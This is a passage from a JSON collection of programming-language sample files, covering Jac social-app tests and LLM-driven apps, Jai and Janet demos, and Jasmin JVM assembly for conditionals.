    "content": "test visit_profile {\n    root spawn visit_profile();\n    profile = [root --> (`?Profile)][0];\n    assert isinstance(profile,Profile);\n}\n\ntest update_profile {\n    root spawn update_profile(\n        new_username = \"test_user\",\n    );\n    profile = [root --> (`?Profile)][0];\n    assert profile.username == \"test_user\";\n}\n\ntest follow_request {\n    followee = Profile(\"Sam\");\n    followee spawn follow_request();\n    followee_profile = [root --> (`?Profile)->:Follow:->(`?Profile)][0];\n    assert followee_profile.username == \"Sam\";\n}\n\ntest un_follow_request {\n    followee = [root --> (`?Profile)->:Follow:->(`?Profile)][0];\n    followee spawn un_follow_request();\n    assert len([root --> (`?Profile)->:Follow:->(`?Profile)]) == 0;\n}\n\ntest create_tweet {\n    root spawn create_tweet(\n        content = \"test_tweet\",\n    );\n    test1 = [root --> (`?Profile) --> (`?Tweet)][0];\n    assert test1.content == \"test_tweet\";\n}\n\ntest update_tweet {\n    tweet1 = [root --> (`?Profile) --> (`?Tweet)][0];\n    tweet1 spawn update_tweet(\n        updated_content = \"new_tweet\",\n    );\n    assert tweet1.content == \"new_tweet\";\n}\n\ntest remove_tweet {\n    tweet2 =  [root --> (`?Profile)--> (`?Tweet)][0];\n    tweet2 spawn remove_tweet();\n    assert len([root --> (`?Profile) --> (`?Tweet)]) == 0;\n}\n\ntest like_tweet {\n    root spawn create_tweet(\n        content = \"test_like\",\n    );\n    tweet1 = [root --> (`?Profile) --> (`?Tweet)][0];\n    tweet1 spawn like_tweet();\n    test1 = [tweet1 ->:Like:-> ][0];\n    assert test1.username == \"test_user\";\n}\n\ntest remove_like {\n    tweet1 = [root --> (`?Profile) --> (`?Tweet)][0];\n    tweet1 spawn remove_like();\n    assert len([tweet1 ->:Like:-> ]) == 0;\n}\n\ntest comment_tweet {\n    tweet = [root --> (`?Profile) --> (`?Tweet)](?content == \"test_like\")[0];\n    tweet spawn comment_tweet(\n        content = \"test_comment\",\n    );\n    comment = [tweet --> (`?Comment)][0];\n    assert comment.content == \"test_comment\";\n}\n\ntest update_comment {\n    tweet = [root --> (`?Profile) --> (`?Tweet)](?content == \"test_like\")[0];\n    comment = [tweet --> (`?Comment)][0];\n    comment spawn update_comment(\n        updated_content = \"new_comment\",\n    );\n    assert comment.content == \"new_comment\";\n}\n\ntest remove_comment {\n    comment = [root --> (`?Profile) --> (`?Tweet) --> (`?Comment)][0];\n    comment spawn remove_comment();\n    assert len([root --> (`?Profile) --> (`?Tweet) --> (`?Comment)]) == 0;\n}\n\ntest load_feed {\n    profile1 = Profile(\"Mars\");\n    profile1 spawn follow_request();\n    profile1 spawn create_tweet(\"How are working man\");\n    profile1 spawn create_tweet(\"How are u\");\n    profile1 spawn create_tweet(\"how are u doing\");\n    feeds = root spawn load_feed(\"How\");\n    assert all(\n        [ (feeds.results[i]['similarity'][0] >= feeds.results[i + 1]['similarity'][0]) for i in range(len(feeds.results) - 1) ]\n    );\n}\n\ntest test_load_user_profiles {\n    load_user_walker = root spawn load_user_profiles();\n    assert load_user_walker.profiles;\n}"
  },
  {
    "path": "samples/Jac/smart-learning-companion.cl.jac",
    "content": "import from react { useState, useEffect, useRef }\nimport \".modern-styles.css\";\nimport from '@mui/material' {\n    Box,\n    Stack,\n    ThemeProvider,\n    CssBaseline,\n    Paper,\n    Typography,\n    createTheme\n}\nimport from '@mui/icons-material' {\n    Chat,\n    Quiz,\n    MenuBook,\n    TrendingUp\n}\n\nimport from .components.Sidebar { Sidebar }\nimport from .components.ChatTab { ChatTab }\nimport from .components.QuizTab { QuizTab }\n\n\ndef app() -> any {\n    theme = createTheme(\n        {\n            \"palette\": {\n                \"mode\": \"dark\",\n                \"primary\": {\"main\": \"#a78bfa\", \"light\": \"#c4b5fd\", \"dark\": \"#8b5cf6\"},\n                \"secondary\": {\"main\": \"#f472b6\", \"light\": \"#f9a8d4\", \"dark\": \"#ec4899\"},\n                \"background\": {\"default\": \"#0f172a\", \"paper\": \"rgba(30, 41, 59, 0.7)\"},\n                \"text\": {\"primary\": \"#f8fafc\", \"secondary\": \"#cbd5e1\"}\n            },\n            \"typography\": {\n                \"fontFamily\": \"'Outfit', 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', sans-serif\",\n                \"h3\": {\"fontWeight\": 800, \"letterSpacing\": \"-0.02em\"},\n                \"h5\": {\"fontWeight\": 700},\n                \"h6\": {\"fontWeight\": 600}\n            },\n            \"shape\": {\"borderRadius\": 0},\n            \"components\": {\n                \"MuiButton\": {\n                    \"styleOverrides\": {\n                        \"root\": {\n                            \"textTransform\": \"none\",\n                            \"fontWeight\": 600,\n                            \"borderRadius\": \"0px\"\n                        }\n                    }\n                },\n                \"MuiPaper\": {\n                    \"styleOverrides\": {\n                        \"root\": {\"borderRadius\": 0}\n                    }\n                },\n                \"MuiAvatar\": {\n                    \"styleOverrides\": {\n                        \"root\": {\"borderRadius\": 0}\n                    }\n                },\n                \"MuiOutlinedInput\": {\n                    \"styleOverrides\": {\n                        \"root\": {\"borderRadius\": 0}\n                    }\n                },\n                \"MuiChip\": {\n                    \"styleOverrides\": {\n                        \"root\": {\"borderRadius\": 0}\n                    }\n                }\n            }\n        }\n    );\n\n     [message, setMessage] = useState(\"\");\n     [conversationHistory, setConversationHistory] = useState([]);\n     [loading, setLoading] = useState(false);\n     messagesEndRef = useRef(null);\n     [activeTab, setActiveTab] = useState(\"chat\");\n\n     [quizTopic, setQuizTopic] = useState(\"\");\n     [quizDifficulty, setQuizDifficulty] = useState(\"medium\");\n     [quizData, setQuizData] = useState(null);\n     [quizLoading, setQuizLoading] = useState(false);\n     [currentQuestion, setCurrentQuestion] = useState(0);\n     [selectedAnswers, setSelectedAnswers] = useState([]);\n     [showResults, setShowResults] = useState(false);\n\n     navigationItems = [\n        {\"id\": \"chat\", \"label\": \"AI Tutor Chat\", \"icon\": <Chat />},\n        {\"id\": \"quiz\", \"label\": \"Practice Quiz\", \"icon\": <Quiz />},\n        {\"id\": \"learn\", \"label\": \"Learn Topic\", \"icon\": <MenuBook />},\n        {\"id\": \"path\", \"label\": \"Learning Path\", \"icon\": <TrendingUp />}\n    ];\n\n    useEffect(\n        lambda -> None {\n            console.log(\"Active Tab:\", activeTab);\n            console.log(\"Quiz Data:\", JSON.stringify(quizData));\n        },\n        [activeTab, quizData]\n    );\n\n    async def handleChat() -> None {\n        if not message.trim() {\n            return;\n        }\n\n         messageText = message.trim();\n        setMessage(\"\");\n        setLoading(true);\n\n         newHistory = conversationHistory.concat(\n            [{\"role\": \"user\", \"content\": messageText, \"timestamp\": Date.now()}]\n        );\n        setConversationHistory(newHistory);\n\n         result = root spawn chat_tutor(message=messageText, context=[]);\n        if result and result.reports and result.reports.length > 0 {\n             aiResponse = result.reports[0][\"response\"];\n             finalHistory = newHistory.concat(\n                [{\"role\": \"assistant\", \"content\": aiResponse, \"timestamp\": Date.now()}]\n            );\n            setConversationHistory(finalHistory);\n        }\n        setLoading(false);\n    }\n\n    def handleKeyPress(e: any) -> None {\n        if e.key == \"Enter\" and not e.shiftKey {\n            e.preventDefault();\n            handleChat();\n        }\n    }\n\n    def clearChat() -> None {\n        setConversationHistory([]);\n        setMessage(\"\");\n    }\n\n    async def handleGenerateQuiz() -> None {\n        if not quizTopic.trim() {\n            return;\n        }\n\n        setQuizLoading(true);\n        setQuizData(null);\n        setCurrentQuestion(0);\n        setSelectedAnswers([]);\n        setShowResults(false);\n\n        result = root spawn generate_quiz(\n            topic=quizTopic.trim(),\n            difficulty=quizDifficulty,\n            num_questions=5\n        );\n\n        if result and result.reports and result.reports.length > 0 {\n             quizResponse = result.reports[0];\n            console.log(\"Quiz Response:\", JSON.stringify(quizResponse));\n            setQuizData(quizResponse);\n        }\n        setQuizLoading(false);\n    }\n    \n    def handleAnswerSelect(questionIndex: int, answerIndex: int) -> None {\n         newAnswers = selectedAnswers.slice();\n        newAnswers[questionIndex] = answerIndex;\n        setSelectedAnswers(newAnswers);\n    }\n\n    def handleSubmitQuiz() -> None {\n        setShowResults(true);\n    }\n\n    def handleResetQuiz() -> None {\n        setQuizData(null);\n        setQuizTopic(\"\");\n        setCurrentQuestion(0);\n        setSelectedAnswers([]);\n        setShowResults(false);\n    }\n\n     exampleQuestions = [\n        \"Explain photosynthesis in simple terms\",\n        \"Help me understand quantum mechanics\",\n        \"What's the difference between mitosis and meiosis?\",\n        \"How do I solve quadratic equations?\"\n    ];\n\n    return <ThemeProvider theme={theme}>\n        <CssBaseline />\n        <div className=\"animated-bg\">\n            <div className=\"particle particle-1\"></div>\n            <div className=\"particle particle-2\"></div>\n            <div className=\"particle particle-3\"></div>\n            <div className=\"particle particle-4\"></div>\n        </div>\n        <Box sx={{\"minHeight\": \"100vh\", \"display\": \"flex\", \"position\": \"relative\"}}>\n            <Sidebar\n                activeTab={activeTab}\n                setActiveTab={setActiveTab}\n                navigationItems={navigationItems}\n            />\n            <Box\n                component=\"main\"\n                sx={{\"flexGrow\": 1, \"py\": 3, \"px\": 3, \"width\": \"calc(100vw - 280px)\"}}\n            >\n                <Stack spacing={3} sx={{\"maxWidth\": 1400, \"mx\": \"auto\"}}>\n                    {(\n                        <ChatTab\n                            conversationHistory={conversationHistory}\n                            message={message}\n                            setMessage={setMessage}\n                            loading={loading}\n                            handleChat={handleChat}\n                            handleKeyPress={handleKeyPress}\n                            clearChat={clearChat}\n                            messagesEndRef={messagesEndRef}\n                            exampleQuestions={exampleQuestions}\n                        />\n                    ) if (activeTab == \"chat\") else (\n                        (\n                            <QuizTab\n                                quizTopic={quizTopic}\n                                setQuizTopic={setQuizTopic}\n                                quizDifficulty={quizDifficulty}\n                                setQuizDifficulty={setQuizDifficulty}\n                                quizData={quizData}\n                                quizLoading={quizLoading}\n                                currentQuestion={currentQuestion}\n                                setCurrentQuestion={setCurrentQuestion}\n                                selectedAnswers={selectedAnswers}\n                                showResults={showResults}\n                                handleGenerateQuiz={handleGenerateQuiz}\n                                handleAnswerSelect={handleAnswerSelect}\n                                handleSubmitQuiz={handleSubmitQuiz}\n                                handleResetQuiz={handleResetQuiz}\n                            />\n                        ) if (activeTab == \"quiz\") else (\n                            <Paper sx={{\"p\": 4, \"textAlign\": \"center\"}}>\n                                <MenuBook sx={{\"fontSize\": 80, \"color\": \"primary.main\", \"mb\": 2}} />\n                                <Typography variant=\"h4\" gutterBottom>\n                                    {(\"Learn Topic\" if (activeTab == \"learn\") else \"Learning Path\")}\n                                </Typography>\n                                <Typography color=\"text.secondary\">\n                                    {\"Coming soon...\"}\n                                </Typography>\n                            </Paper>\n                        )\n                    )}\n                </Stack>\n            </Box>\n        </Box>\n    </ThemeProvider>;\n}"
  },
  {
    "path": "samples/Jac/task_manager.jac",
    "content": "import from byllm.llm { Model }\nimport time;\n\nglob llm = Model(model_name=\"gpt-4o\");\n\nnode Task {\n    has task:str = \"\";\n    has date:str = \"\";\n    has time:str = \"\";\n}\n\nnode TaskHandling {\n    def get_current_time() -> str {\n        return time.strftime(\"%Y-%m-%d %H:%M:%S\", time.gmtime());\n    }\n    def add_task(task: str, date: str, time: str) -> str {\n        task_created = Task(task=task, date=date, time=time);\n        self ++> task_created;\n        return \"Task added successfully\";\n    }\n    def summarize_tasks -> str {\n        scheduled_tasks = [self-->(`?Task)];\n        return str(scheduled_tasks);\n    }\n    def route_and_run(utterance: str) -> str by llm(\n        method=\"ReAct\",\n        tools=([self.add_task, self.get_current_time, self.summarize_tasks])\n    );\n    can execute with task_manager entry {\n        print(\"[TaskHandling Node Activated]\");\n        response = self.route_and_run(visitor.utterance);\n        print(\"→\", response);\n        report {\n            \"utterance\": visitor.utterance,\n            \"response\": response,\n            \"node_type\": self.__class__.__name__\n        };\n    }\n}\n\nnode EmailHandling {\n    def write_email_content(utterance: str) -> str by llm();\n    def route_and_run(utterance: str) -> str by llm(\n        method=\"ReAct\",\n        tools=([self.write_email_content])\n    );\n    can execute with task_manager entry {\n        print(\"[EmailHandling Node Activated]\");\n        response = self.route_and_run(visitor.utterance);\n        print(\"→\", response);\n        report {\n            \"utterance\": visitor.utterance,\n            \"response\": response,\n            \"node_type\": self.__class__.__name__\n        };\n    }\n}\n\nnode GeneralChat {\n    def chat(utterance: str) -> str by llm();\n    can execute with task_manager entry {\n        print(\"[GeneralChat Node Activated]\");\n        response = self.chat(visitor.utterance);\n        print(\"→\", response);\n        report {\n            \"utterance\": visitor.utterance,\n            \"response\": response,\n            \"node_type\": self.__class__.__name__\n        };\n    }\n}\n\nenum RoutingNodes{\n    TASK_HANDLING,\n    EMAIL_HANDLING,\n    GENERAL_CHAT\n}\n\nwalker task_manager {\n    has utterance: str = \"\";\n\n    def route_to_node(utterance: str) -> RoutingNodes by llm();\n    can execute with `root entry {\n        routed_node_name = self.route_to_node(self.utterance);\n\n        node_map = {\n            RoutingNodes.TASK_HANDLING: TaskHandling,\n            RoutingNodes.EMAIL_HANDLING: EmailHandling,\n            RoutingNodes.GENERAL_CHAT: GeneralChat\n        };\n        node_type = node_map[routed_node_name];\n        routed_node = [-->(`?node_type)];\n        if not routed_node {\n            routed_node = here ++> node_type();\n        }\n        visit routed_node[0];\n    }\n}"
  },
  {
    "path": "samples/Jai/cte.jai",
    "content": "#import \"Basic\";\n\ndo_some_work :: (a: int, b: int) -> int {\n    #asm {\n        add a, b;\n    }\n    return a;\n}\n\nA :: #run do_some_work(10, 13);\n\nmain :: () {\n    print(\"A: %\\n\", A); // => A: 23 \n}"
  },
  {
    "path": "samples/Jai/ifx.jai",
    "content": "#import \"Basic\";\n\nThing :: struct {\n    name:  string;\n    value: int;\n}\n\nget_default_name :: () -> string { return \"Alice\"; }\n\nfactorial :: (x: int) -> int {\n    return ifx x <= 1 then 1 else x*factorial(x-1);   // (1)\n}\n\nis_even :: (value: int) -> bool {\n    return !cast(bool)(value & 1);\n}\n\nmain :: () {\n    a := 0;\n    b := 100;\n    c := ifx a > b 10 else 1000;  // (2)    \n    print(\"c is %\\n\", c);         // => c is 1000\n    \n    thing := *Thing.{\"Liz\", 42};\n    // name: string;\n    // if thing {\n    //     name = thing.name;\n    // } else {\n    //     name = get_default_name();\n    // }\n    \n    // one-liner with ifx:\n    name := ifx thing then thing.name else get_default_name(); // (3)\n\n    // with code blocks:\n    // name := ifx thing {                                     // (4)\n    //     print(\"This is the true block.\\n\");\n    //     factorial(5);\n    //     thing.name;\n    // } else {\n    //     print(\"We are about to get the default name.\\n\");\n    //     x := 3;\n    //     print(\"Really, it is going to happen.\\n\");\n    //     get_default_name();\n    // }\n    // => This is the true block.\n    print(\"Your name is %\\n\", name); // => Your name is Liz\n\n    x := 7;\n    y := ifx x then x else 1;\n    // can be shortened to:\n    y2 := ifx x else 1;     // (5)\n    print(\"y2 is %\\n\", y2); // => y2 is 7\n    y3 := ifx x > 5 else 0; // (6)\n    print(\"y3 is %\\n\", y3); // => y3 is 7\n    y4 := ifx is_even(x);\n    print(\"y4 is %\\n\", y4); // => y4 is 0\n    y5 := ifx !is_even(x);\n    print(\"y5 is %\\n\", y5); // => y4 is 7\n}"
  },
  {
    "path": "samples/Janet/lazyseqs.janet",
    "content": "# An example implementation of functional, lazy\n# sequences, as in clojure. The lazy seq is essentially\n# A lazy linked list, where the next value is a function\n# that must be called (realizing it), and the memoized.\n# Use with (import \"./path/to/this/file\" :prefix \"seq.\")\n\n(defmacro delay\n  \"Lazily evaluate a series of expressions. Returns a function that\n  returns the result of the last expression. Will only evaluate the\n  body once, and then memoizes the result.\"\n  [& forms]\n  (def state (gensym))\n  (def loaded (gensym))\n  ~(do \n     (var ,state nil)\n     (var ,loaded nil)\n     (fn []\n       (if ,loaded \n         ,state \n         (do\n           (set ,loaded true)\n           (set ,state (do ,;forms)))))))\n\n# Use tuples instead of structs to save memory\n(def- HEAD 0)\n(def- TAIL 1)\n\n(defn empty-seq\n  \"The empty sequence.\"\n  [] nil)\n\n(defmacro cons\n  \"Create a new sequence by prepending a value to the original sequence.\"\n  [h t]\n  (def x (tuple h t))\n  (fn [] x))\n\n(defn empty?\n  \"Check if a sequence is empty.\"\n  [s]\n  (not (s)))\n\n(defn head\n  \"Get the next value of the sequence.\"\n  [s]\n  (get (s) HEAD))\n\n(defn tail\n  \"Get the rest of a sequence\"\n  [s]\n  (get (s) TAIL))\n\n(defn lazy-range\n  \"Return a sequence of integers [start, end).\"\n  [start end &]\n  (if end\n    (if (< start end)\n      (delay (tuple start (lazy-range (+ 1 start) end)))\n      empty-seq)\n    (lazy-range 0 start)))\n\n(defn lazy-map\n  \"Return a sequence that is the result of applying f to each value in s.\"\n  [f s]\n  (delay\n    (def x (s))\n    (if x (tuple (f (get x HEAD)) (map f (get x TAIL))))))\n\n(defn realize\n  \"Force evaluation of a lazy sequence.\"\n  [s]\n  (when (s) (realize (tail s))))\n\n(defn realize-map\n  \"Evaluate f on each member of the sequence. Forces evaluation.\"\n  [f s]\n  (when (s) (f (head s)) (realize-map f (tail s))))\n\n(defn drop\n  \"Ignores the first n values of the sequence and returns the rest.\"\n  [n s]\n  (delay\n    (def x (s))\n    (if (and x (pos? n)) ((drop (- n 1) (get x TAIL))))))\n\n(defn take\n  \"Returns at most the first n values of s.\"\n  [n s]\n  (delay\n    (def x (s))\n    (if (and x (pos? n))\n      (tuple (get x HEAD) (take (- n 1) (get x TAIL))))))\n\n(defn randseq\n  \"Return a sequence of random numbers.\"\n  []\n  (delay (tuple (math/random) (randseq))))\n\n(defn take-while\n  \"Returns a sequence of values until the predicate is false.\"\n  [pred s]\n  (delay\n    (def x (s))\n    (when x\n      (def thehead (get HEAD x))\n      (if thehead (tuple thehead (take-while pred (get TAIL x)))))))\n"
  },
  {
    "path": "samples/Janet/life.janet",
    "content": "# A game of life implementation\n\n(def- window\n  (seq [x :range [-1 2]\n         y :range [-1 2]\n         :when (not (and (zero? x) (zero? y)))]\n       [x y]))\n\n(defn- neighbors\n  [[x y]]\n  (map (fn [[x1 y1]] [(+ x x1) (+ y y1)]) window))\n\n(defn tick\n  \"Get the next state in the Game Of Life.\"\n  [state]\n  (def cell-set (frequencies state))\n  (def neighbor-set (frequencies (mapcat neighbors state)))\n  (seq [coord :keys neighbor-set\n         :let [count (get neighbor-set coord)]\n         :when (or (= count 3) (and (get cell-set coord) (= count 2)))]\n      coord))\n\n(defn draw\n  \"Draw cells in the game of life from (x1, y1) to (x2, y2)\"\n  [state x1 y1 x2 y2]\n  (def cellset @{})\n  (each cell state (put cellset cell true))\n  (loop [x :range [x1 (+ 1 x2)]\n         :after (print)\n         y :range [y1 (+ 1 y2)]]\n    (file/write stdout (if (get cellset [x y]) \"X \" \". \")))\n  (print))\n\n#\n# Run the example\n#\n\n(var *state* '[(0 0) (-1 0) (1 0) (1 1) (0 2)])\n\n(for i 0 20\n  (print \"generation \" i)\n  (draw *state* -7 -7 7 7)\n  (set *state* (tick *state*)))\n"
  },
  {
    "path": "samples/Janet/tarray.janet",
    "content": "# naive matrix implementation for testing typed array\n\n(defmacro printf [& xs] ['print ['string/format (splice xs)]])\n\n(defn matrix [nrow ncol] {:nrow nrow :ncol ncol :array (tarray/new :float64 (* nrow ncol))})\n\n(defn matrix/row [mat i]\n  (def {:nrow nrow :ncol ncol :array array} mat)\n  (tarray/new :float64 ncol 1 (* i ncol)  array))\n\n(defn matrix/column [mat j]\n  (def {:nrow nrow :ncol ncol :array array} mat)\n  (tarray/new :float64 nrow ncol j array))\n\n(defn matrix/set [mat i j value]\n  (def {:nrow nrow :ncol ncol :array array} mat)\n  (set (array (+ (* i ncol) j)) value))\n\n(defn matrix/get [mat i j value]\n  (def {:nrow nrow :ncol ncol :array array} mat)\n  (array (+ (* i ncol) j)))\n\n\n# other variants to test rows and cols views\n\n(defn matrix/set* [mat i j value]\n  (set ((matrix/row mat i) j) value))\n\n(defn matrix/set** [mat i j value]\n  (set ((matrix/column mat j) i) value))\n\n\n(defn matrix/get* [mat i j value]\n  ((matrix/row mat i) j))\n\n(defn matrix/get** [mat i j value]\n  ((matrix/column j) i))\n\n\n(defn tarray/print [array]\n  (def size (tarray/length array))\n  (def buf @\"\")\n  (buffer/format buf \"[%2i]\" size)\n  (for i 0 size\n       (buffer/format buf \" %+6.3f \" (array i)))\n  (print buf))\n       \n(defn matrix/print [mat]\n  (def {:nrow nrow :ncol ncol :array tarray} mat)\n  (printf \"matrix %iX%i %p\" nrow ncol tarray)\n  (for i 0 nrow\n       (tarray/print (matrix/row mat i))))\n\n\n(def nr 5)\n(def nc 4)\n(def A (matrix nr nc))\n\n(loop (i :range (0 nr) j :range (0 nc)) \n      (matrix/set A i j i))\n(matrix/print A)\n\n(loop (i :range (0 nr) j :range (0 nc)) \n      (matrix/set* A i j i))\n(matrix/print A)\n\n(loop (i :range (0 nr) j :range (0 nc)) \n      (matrix/set** A i j i))\n(matrix/print A)\n\n\n(printf \"properties:\\n%p\" (tarray/properties (A :array)))\n(for i 0 nr  \n     (printf \"row properties:[%i]\\n%p\" i (tarray/properties (matrix/row A i))))\n(for i 0 nc  \n     (printf \"col properties:[%i]\\n%p\" i (tarray/properties (matrix/column A i))))\n\n\n\n\n\n\n\n"
  },
  {
    "path": "samples/Jasmin/if1.j",
    "content": ".class public if1\n.super java/lang/Object\n;\n; standard initializer (calls java.lang.Object's initializer)\n;\n.method public <init>()V\naload_0\ninvokenonvirtual java/lang/Object/<init>()V\nreturn\n.end method\n\n.method public static main([Ljava/lang/String;)V\n\n.limit locals 1\n.limit stack 5\nBeginGlobal:\n\t.line 2\n\t\tldc\t\t0x1\n\t\tldc\t\t0x1\n\t\tif_icmpeq\t\tIf556261059\n\t\tgoto\t\tIfElse556261059\n\tIf556261059:\n\t.line 3\n\t\t.line 3\n\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\tgoto\t\tIfDone556261059\n\tIfElse556261059:\n\t.line 5\n\t\t.line 5\n\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x2\n\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\tIfDone556261059:\n\n\t.line 6\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\tldc\t\t0x3\n\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\n\t.line 7\n\t\tldc\t\t0x1\n\t\tldc\t\t0x1\n\t\tif_icmpne\t\tIfNot-920218690\n\t.line 8\n\t\t.line 8\n\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x4\n\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\tIfNot-920218690:\n\nEndGlobal:\nreturn\n.end method\n\n"
  },
  {
    "path": "samples/Jasmin/if2.j",
    "content": ".class public if2\n.super java/lang/Object\n;\n; standard initializer (calls java.lang.Object's initializer)\n;\n.method public <init>()V\naload_0\ninvokenonvirtual java/lang/Object/<init>()V\nreturn\n.end method\n\n.method public static main([Ljava/lang/String;)V\n\n.limit locals 1\n.limit stack 5\nBeginGlobal:\n\t.line 2\n\t\t\tldc\t\t0x1\n\t\t\tldc\t\t0x1\n\t\t\tif_icmpeq\tCmp1893841232\n\t\t\tldc\t\t0x0\n\t\t\tgoto\t\tCmpDone1893841232\n\t\tCmp1893841232:\n\t\t\tldc\t\t0x1\n\t\tCmpDone1893841232:\n\t\tldc\t\t0x1\n\t\tif_icmpeq\t\tIf-1736765035\n\t\tgoto\t\tIfElse-1736765035\n\tIf-1736765035:\n\t.line 2\n\t\t.line 3\n\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\tgoto\t\tIfDone-1736765035\n\tIfElse-1736765035:\n\t.line 4\n\t\t.line 4\n\t\t\t\tldc\t\t0x2\n\t\t\t\tldc\t\t0x1\n\t\t\t\tif_icmpeq\tCmp-1460884369\n\t\t\t\tldc\t\t0x0\n\t\t\t\tgoto\t\tCmpDone-1460884369\n\t\t\tCmp-1460884369:\n\t\t\t\tldc\t\t0x1\n\t\t\tCmpDone-1460884369:\n\t\t\tldc\t\t0x1\n\t\t\tif_icmpeq\t\tIf-247349760\n\t\t\tgoto\t\tIfElse-247349760\n\t\tIf-247349760:\n\t\t.line 4\n\t\t\t.line 5\n\t\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\t\tldc\t\t0x2\n\t\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\t\tgoto\t\tIfDone-247349760\n\t\tIfElse-247349760:\n\t\t.line 6\n\t\t\t.line 7\n\t\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\t\tldc\t\t0x3\n\t\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\tIfDone-247349760:\n\tIfDone-1736765035:\n\n\t.line 10\n\t\t\tldc\t\t0x1\n\t\t\tldc\t\t0x2\n\t\t\tif_icmpeq\tCmp933554851\n\t\t\tldc\t\t0x0\n\t\t\tgoto\t\tCmpDone933554851\n\t\tCmp933554851:\n\t\t\tldc\t\t0x1\n\t\tCmpDone933554851:\n\t\tldc\t\t0x1\n\t\tif_icmpeq\t\tIf1623625546\n\t\tgoto\t\tIfElse1623625546\n\tIf1623625546:\n\t.line 10\n\t\t.line 11\n\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\tgoto\t\tIfDone1623625546\n\tIfElse1623625546:\n\t.line 12\n\t\t.line 12\n\t\t\t\tldc\t\t0x2\n\t\t\t\tldc\t\t0x2\n\t\t\t\tif_icmpeq\tCmp1572138409\n\t\t\t\tldc\t\t0x0\n\t\t\t\tgoto\t\tCmpDone1572138409\n\t\t\tCmp1572138409:\n\t\t\t\tldc\t\t0x1\n\t\t\tCmpDone1572138409:\n\t\t\tldc\t\t0x1\n\t\t\tif_icmpeq\t\tIf126354425\n\t\t\tgoto\t\tIfElse126354425\n\t\tIf126354425:\n\t\t.line 12\n\t\t\t.line 13\n\t\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\t\tldc\t\t0x2\n\t\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\t\tgoto\t\tIfDone126354425\n\t\tIfElse126354425:\n\t\t.line 14\n\t\t\t.line 15\n\t\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\t\tldc\t\t0x3\n\t\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\tIfDone126354425:\n\tIfDone1623625546:\n\n\t.line 18\n\t\t\tldc\t\t0x1\n\t\t\tldc\t\t0x2\n\t\t\tif_icmpeq\tCmp126493150\n\t\t\tldc\t\t0x0\n\t\t\tgoto\t\tCmpDone126493150\n\t\tCmp126493150:\n\t\t\tldc\t\t0x1\n\t\tCmpDone126493150:\n\t\tldc\t\t0x1\n\t\tif_icmpeq\t\tIf1522284422\n\t\tgoto\t\tIfElse1522284422\n\tIf1522284422:\n\t.line 18\n\t\t.line 19\n\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\tgoto\t\tIfDone1522284422\n\tIfElse1522284422:\n\t.line 20\n\t\t.line 20\n\t\t\t\tldc\t\t0x2\n\t\t\t\tldc\t\t0x1\n\t\t\t\tif_icmpeq\tCmp-906666545\n\t\t\t\tldc\t\t0x0\n\t\t\t\tgoto\t\tCmpDone-906666545\n\t\t\tCmp-906666545:\n\t\t\t\tldc\t\t0x1\n\t\t\tCmpDone-906666545:\n\t\t\tldc\t\t0x1\n\t\t\tif_icmpeq\t\tIf1083939031\n\t\t\tgoto\t\tIfElse1083939031\n\t\tIf1083939031:\n\t\t.line 20\n\t\t\t.line 21\n\t\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\t\tldc\t\t0x2\n\t\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\t\tgoto\t\tIfDone1083939031\n\t\tIfElse1083939031:\n\t\t.line 22\n\t\t\t.line 23\n\t\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\t\tldc\t\t0x3\n\t\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\tIfDone1083939031:\n\tIfDone1522284422:\n\nEndGlobal:\nreturn\n.end method\n\n"
  },
  {
    "path": "samples/Jasmin/if3.j",
